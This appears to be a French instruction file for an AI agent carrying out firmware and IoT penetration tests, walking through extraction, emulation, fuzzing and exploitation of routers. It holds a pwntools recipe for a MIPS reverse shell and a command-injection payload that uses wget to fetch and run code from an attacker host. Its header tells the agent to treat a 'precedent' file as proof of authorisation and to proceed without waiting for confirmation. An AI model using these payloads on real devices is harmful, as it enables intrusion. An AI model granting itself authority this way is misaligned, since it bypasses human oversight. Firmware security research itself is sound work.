Chaîne de test d'intrusion des micrologiciels / IoT (Firmware Pentest)
ACTION REQUISE (à exécuter immédiatement après la lecture)
MAINTENANT: Lire../field-journal/precedent-pentest.md— confirmer que l'opération de ce skill est une opération régulière autoriséeMAINTENANT: Confirmer que la tâche actuelle correspond au domaine d'application de ce skillSUIVANT: Lire../tool-index.md, vérifier la disponibilité des outils et leur chemin réelSUIVANT: Si des outils manquent, appeler le bootstrap, ne pas deviner les cheminsAGIR: Entrer dans la première étape du "flux de travail" et l'exécuter, ne pas rester bloqué en attente de confirmation
Domaine d'application
Les tâches suivantes relèvent de ce skill :
- Obtenir un fichier de micrologiciel (.bin / .img / .trx / .chk / OTA zip), nécessité d'aller de zéro à RCE
- Audit de routeurs/caméras/appareils IoT — besoin de découvrir en masse des CVE connus et des vulnérabilités non divulguées
- Micrologiciel chiffré/empaqueté — besoin de trouver une routine de déchiffrement dans le bootloader ou un dump matériel
- Besoin d'exécuter sans contact matériel (émulation système complet QEMU / Firmadyne / FAT)
- Fuzzing des services émulés (mode qemu AFL++ / boofuzz)
- Accès par interface matérielle (UART / JTAG / dump SPI flash)
Répartition avec d'autres skills
| Scénario | Quel skill utiliser |
|---|---|
| Obtenir un firmware de zéro, parcours complet FSTM | Ce skill |
| Reverse statique d'un seul ELF/so | reverse-engineering/, ida-reverse/, radare2/ |
| Exploitation Web/RCE après émulation | pentest-tools/, attack-chain/ |
| Pratique d'interface matérielle (UART/JTAG/SPI) | Chapitre Stage 2 de ce skill + patterns-hardware.md |
| Firmware APK/Android (contenant boot.img) | apk-reverse/ (extraire boot.img d'abord, puis utiliser ce skill) |
| Migration de symboles entre versions de firmware | binary-diff/ |
Principes fondamentaux
Fichier .bin du firmware
│
├─ Stages 1-3 : Collecte d'informations / Obtention / Analyse statique (ce qu'on peut voir sans décompresser)
│
├─ Stage 4 : Extraction du système de fichiers ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ Échec → chercher routine de déchiffrement dans le bootloader / dump UART / lecture matérielle SPI flash
│
├─ Stage 5 : Analyse statique du système de fichiers ← EMBA automatisé + grep manuel
│
├─ Stage 6 : Émulation ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stages 7-8 : Analyse dynamique / Runtime ← gdb-multiarch, débogage à distance IDA, Ghidra
│
└─ Stage 9 : Exploitation binaire ← Fuzzing AFL++ / PoC manuel / Payload ARM / MIPS
Décisions clés :
- L'échec de l'extraction ne signifie pas nécessairement un chiffrement, exécutez d'abord binwalk v2, binwalk v3, unblob, jefferson, ubi_reader tous ensemble
- EMBA produit un rapport HTML en une seule commande, économisant 80% d'effort, les 20% restants sont la véritable découverte de vulnérabilités
- Si l'émulation ne démarre pas, suspectez d'abord l'absence de NVRAM, une mauvaise correspondance du nom d'interface réseau, ou l'absence de nœud
/dev/ - Les payloads ARM / MIPS doivent différencier l'endianness (mipsel vs mipseb), ne pas se tromper
Flux de travail en neuf étapes selon OWASP FSTM
Stage 1 — Collecte d'informations (Information Gathering)
Recueillir le modèle, la puce, le SDK, les CVE publics.
# Requête FCC ID (appareils américains)
curl -s "https://fccid.io/?q=$FCC_ID"
# Points de référence pour l'identification des puces
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
Sortie : modèle de puce, source du SDK (le SDK détermine si binwalk réussira du premier coup).
Stage 2 — Obtention du micrologiciel (Obtaining Firmware)
Quatre voies : téléchargement depuis le site officiel, capture OTA, dump après avoir obtenu un shell via UART, lecture physique SPI flash.
# Téléchargement en masse après capture OTA
mitmdump -s save_response.py
# Connexion UART (USB-TTL, débits courants 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# Lecture SPI flash avec CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin
Stage 3 — Analyse du micrologiciel (Analyzing Firmware)
Examiner l'en-tête, l'entropie, les chaînes, les signatures identifiables sans décompresser.
binwalk firmware.bin # scan des signatures magiques
binwalk -E firmware.bin # graphique d'entropie, forte entropie = compression/chiffrement
strings -n 8 firmware.bin | less # bannière / version du noyau / chemins
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — Extraction du système de fichiers (Extracting Filesystem)
Voir les détails dans references/extraction-methodology.md.
binwalk -eM firmware.bin # extraction récursive
unblob -d out/ firmware.bin # traite les formats que binwalk ne peut pas gérer
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
Stage 5 — Analyse statique du système de fichiers (Filesystem Analysis)
Scan EMBA en une commande, voir references/emba-automated-analysis.md.
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
Compléments manuels :
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — Émulation (Emulating Firmware)
Voir les détails dans references/emulation-and-fuzz.md.
# Mode utilisateur : exécution d'un binaire seul
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# Système complet : FAT (version encapsulée de Firmadyne)
sudo fat.py firmware.bin
Stage 7 — Analyse dynamique (Dynamic Analysis)
Une fois l'émulation lancée, attacher un débogueur, capturer le trafic, lancer le fuzzing.
# Débogage à distance gdb pour MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + interface Web du routeur
echo "Définir l'IP émulée par Firmadyne comme cible du proxy upstream Burp"
Stage 8 — Analyse runtime (Runtime Analysis)
Attacher un débogueur sur du matériel réel, ou faire du fuzzing guidé par couverture en émulation.
# Mode qemu d'AFL++ pour fuzzer des binaires ARM / MIPS
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — Exploitation binaire (Exploitation)
Écrire un PoC, générer un payload, obtenir un shell root.
# pwntools pour générer un reverse shell MIPS
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# Gadget ROP
ropper --file squashfs-root/usr/sbin/httpd --search "system"
Exemples de scénarios typiques
Scénario 1 : Parcours complet d'un firmware de routeur standard (TP-Link / Routeurs Xiaomi / Dérivés OpenWrt)
Firmware : router_v1.2.3.bin (squashfs non chiffré)
Objectif : trouver une RCE non authentifiée sur l'interface Web d'administration et la reproduire
Étape 1 Collecte d'informations
- Recherche FCC ID → MT7621 + MT7615 + flash 16 Mo
- CVE public : CVE-2023-xxxxx (défaut dans la validation de l'en-tête chk)
Étape 2 Obtention du firmware
- Téléchargement du .bin depuis le site officiel, comparaison du sha256 avec un échantillon connu
Étape 3 Analyse
- binwalk → détecte uImage + squashfs-xz
- Graphique d'entropie → segment squashfs entropie ~0.95 (compression normale)
Étape 4 Extraction
- binwalk -eM router_v1.2.3.bin
- Obtention du système de fichiers racine complet dans squashfs-root/
Étape 5 Scan EMBA
- Éléments critiques dans le rapport : lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 plusieurs CVE
- Binaire propriétaire : /usr/sbin/cgibin contient un appel system() avec concaténation directe de chaîne
Étape 6 Émulation
- sudo fat.py router_v1.2.3.bin
- Émulation démarrée, IP 192.168.0.1, interface Web accessible
Étapes 7-8 Dynamique
- Burp capture les requêtes vers les interfaces /cgi-bin/luci
- Découverte : le paramètre hostname est directement passé à system()
Étape 9 Exploitation
- Construction de hostname=`;wget http://attaquant/x;sh x;`
- Shell rebondi avec succès en émulation
- Test sur appareil réel réussi → soumission au SRC
Scénario 2 : Firmware chiffré (recherche de routine de déchiffrement dans le bootloader)
Firmware : encrypted_fw.bin (binwalk ne trouve rien + entropie ~0.99)
Étape 1 Déterminer s'il est vraiment chiffré
- Entropie constante ~0.99 et aucune signature magique → probablement chiffré ou purement compressé
- Hexdump des 256 premiers octets de l'en-tête → vérifier la présence d'un en-tête vendor
Étape 2 Récupérer le bootloader
- Appuyer sur une touche au démarrage UART pour entrer dans U-Boot
- md.b 0x80000000 0x1000 # lire la mémoire
- Ou lecture physique complète du SPI flash → contient le segment U-Boot
Étape 3 Reverse du U-Boot pour trouver la routine de déchiffrement
- Utiliser le skill reverse-engineering (IDA / Ghidra)
- Point d'entrée board_init_r → chercher image_decrypt avant do_bootm
- Généralement AES-128-CBC, la clé est codée en dur dans .rodata
Étape 4 Déchiffrement hors ligne
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Étape 5 Retour au Stage 4 et reprise du processus standard
- binwalk decrypted.bin → voit squashfs
- Suite identique au scénario 1
Filet de sécurité
- Si le bootloader est aussi chiffré → chercher la documentation ROM de premier niveau du SoC
- Si le SoC a un démarrage sécurisé → consulter les ressources publiques sur l'injection de fautes / glitch
Points d'attention
- Endianness : Les routeurs MIPS utilisent couramment mipsel (petit boutiste, série MT) / mipseb (gros boutiste, série Broadcom), ne pas se tromper de binaire qemu
- NVRAM : Si httpd plante immédiatement au lancement de l'émulation → 90% de chance que nvram_get ne trouve pas de valeur, Firmadyne a un hook libnvram, FAT l'inclut par défaut
- EMBA n'est pas une panacée : Ne pas croire aveuglément tous les CVE qu'il remonte, vérifier les chaînes de version et les conditions réelles d'exploitation
- Le mode qemu d'AFL++ est lent : Utilisez d'abord afl-clang-lto pour recompiler la cible (si le code source est disponible), 5 à 10 fois plus rapide
- Avant de manipuler du matériel réel, faites un dump : Dump complet de la flash indispensable avant de risquer de briquer l'appareil, utilisez flashrom / ch341a / minipro
- Limites légales : Réservé à vos propres appareils, autorisations SRC, CTF, cibles publiques ; les équipements de production en entreprise nécessitent une autorisation écrite
- Mise à jour du field-journal : Après chaque firmware traité, enregistrez le modèle de puce, le SDK, le succès de binwalk, le succès de l'émulation ; cela sera réutilisé directement pour la même série la prochaine fois
Bootstrap à la demande (On-Demand Bootstrap)
Liste des outils
| Outil | Utilisation | Installation automatique |
|---|---|---|
| binwalk v3 | Extraction principale (version réécrite en Rust) | ✓ |
| binwalk v2 | Compatibilité avec les anciens plugins | ✓ |
| unblob | Extraction de secours | ✓ |
| jefferson | Extraction JFFS2 | ✓ |
| ubi_reader | Extraction UBI / UBIFS | ✓ |
| EMBA | Cadre d'analyse automatisée | ✓ |
| Firmadyne | Émulation système complet | ✓ |
| FAT (Firmware Analysis Toolkit) | Encapsulation de Firmadyne | ✓ |
| qemu-user-static | Émulation en mode utilisateur | ✓ |
| qemu-system-* | Émulation système complet | ✓ |
| AFL++ | Fuzzing | ✓ |
| pwntools | Scripts d'exploitation | ✓ |
| flashrom | Lecture/écriture SPI flash | ✓ |
| picocom | Port série UART | ✓ |
Commandes d'installation
# Debian / Ubuntu tout-en-un
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3 (version Rust)
cargo install binwalk
# Outils Python
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
Utilisateurs Windows
La chaîne de test d'intrusion de firmware dépend fortement des outils Linux, il est recommandé :
- WSL2 Ubuntu 22.04 (suffisant pour la plupart des scénarios)
- Ou une machine virtuelle Kali / Ubuntu dédiée
- EMBA nécessite Linux, Firmadyne / FAT nécessitent Linux
Contexte de routage
Entrée amont : skills/SKILL.md (contrôle général), routing.md
Condition de déclenchement : La tâche implique un fichier de firmware, un appareil IoT, une recherche de vulnérabilité embarquée, un audit de routeur
Sortie aval :
- Analyse statique approfondie d'un binaire unique →
reverse-engineering/,ida-reverse/,radare2/ - Web RCE / post-exploitation après émulation →
pentest-tools/,attack-chain/ - Migration de symboles entre versions de firmware →
binary-diff/ - Référence pratique des interfaces matérielles →
patterns-hardware.md - Traitement des APK / boot.img →
apk-reverse/
Liens de même niveau : pentest-tools/ (coopération pour la phase d'exploitation Web), attack-chain/ (planification de chaîne d'attaque multi-phase)
Documents de référence :
references/extraction-methodology.md— Détails d'extraction et solutions de secoursreferences/emba-automated-analysis.md— Processus complet EMBAreferences/emulation-and-fuzz.md— Pratique de l'émulation + fuzzing
Auto-vérification de fin de tâche (DOIT être réussie avant de déclarer la tâche terminée)
- Ai-je exécuté chaque étape du flux de travail (et pas seulement lu) ?
- Ai-je utilisé les chemins réels des outils basés sur
tool-index? - Ai-je produit des preuves reproductibles (commandes/scripts/captures d'écran/rapports) ?
- Ai-je complété et renseigné l'élément de Checklist exigé par les RÈGLES ?